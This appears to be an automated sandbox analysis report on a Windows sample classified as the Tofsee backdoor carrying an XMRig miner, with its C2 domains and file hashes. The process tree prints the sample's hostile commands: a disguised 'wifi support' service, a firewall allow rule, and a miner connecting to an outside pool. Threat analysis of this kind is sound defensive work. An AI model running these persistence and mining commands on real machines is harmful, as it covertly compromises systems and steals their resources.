Analysis

  • max time kernel
    157s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/10/2022, 00:18

General

  • Target
    file.exe
  • Size 224KB
  • Sample221023-allsfsfehm
  • SHA256 086b849fd2a196e3faf23c8501d1d4bacd3746cf381e123be3b06bf9eeb4d836
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tetoorwq\
      2⤵
        PID:1196
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\orallhhe.exe" C:\Windows\SysWOW64\tetoorwq\
        2⤵
          PID:3740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tetoorwq binPath= "C:\Windows\SysWOW64\tetoorwq\orallhhe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tetoorwq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4188
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tetoorwq
          2⤵
          • Launches sc.exe
          PID:3244
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3044
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2484 -s 1192
          2⤵
          • Program crash
          PID:1456
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2484 -ip 2484
        1⤵
          PID:4300
        • C:\Windows\SysWOW64\tetoorwq\orallhhe.exe
          C:\Windows\SysWOW64\tetoorwq\orallhhe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2224
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3404
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1188
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 520
            2⤵
            • Program crash
            PID:4264
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 372 -p 2224 -ip 2224
          1⤵
            PID:2340

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                orallhhe.exe

                • Path C:\Users\Admin\AppData\Local\Temp\orallhhe.exe
                • Size 12.9MB
                • SHA256 adb0287d91ba170f63862252df3f389bdd41a19746729398664edc185c77f232
                • MD5 SHA1 SHA512 SSDEEP

                orallhhe.exe

                • Path C:\Windows\SysWOW64\tetoorwq\orallhhe.exe
                • Size 12.9MB
                • SHA256 adb0287d91ba170f63862252df3f389bdd41a19746729398664edc185c77f232
                • MD5 SHA1 SHA512 SSDEEP

                memory/1188-180-0x0000000000710000-0x0000000000801000-memory.dmp

                memory/1188-175-0x0000000000710000-0x0000000000801000-memory.dmp

                memory/2224-154-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2224-152-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2224-147-0x0000000002DCE000-0x0000000002DE3000-memory.dmp

                memory/2484-146-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2484-136-0x0000000002F00000-0x0000000002F13000-memory.dmp

                memory/2484-133-0x0000000002F00000-0x0000000002F13000-memory.dmp

                memory/2484-145-0x0000000002FE3000-0x0000000002FF9000-memory.dmp

                memory/2484-132-0x0000000002FE3000-0x0000000002FF9000-memory.dmp

                memory/2484-134-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2484-135-0x0000000002FE3000-0x0000000002FF9000-memory.dmp

                memory/3404-165-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

                memory/3404-153-0x00000000007A0000-0x00000000007B5000-memory.dmp

                memory/3404-155-0x00000000007A0000-0x00000000007B5000-memory.dmp

                memory/3404-156-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/3404-159-0x0000000001D10000-0x0000000001D16000-memory.dmp

                memory/3404-162-0x0000000001D20000-0x0000000001D30000-memory.dmp

                memory/3404-149-0x00000000007A0000-0x00000000007B5000-memory.dmp

                memory/3404-168-0x0000000007540000-0x000000000794B000-memory.dmp

                memory/3404-171-0x0000000002BD0000-0x0000000002BD7000-memory.dmp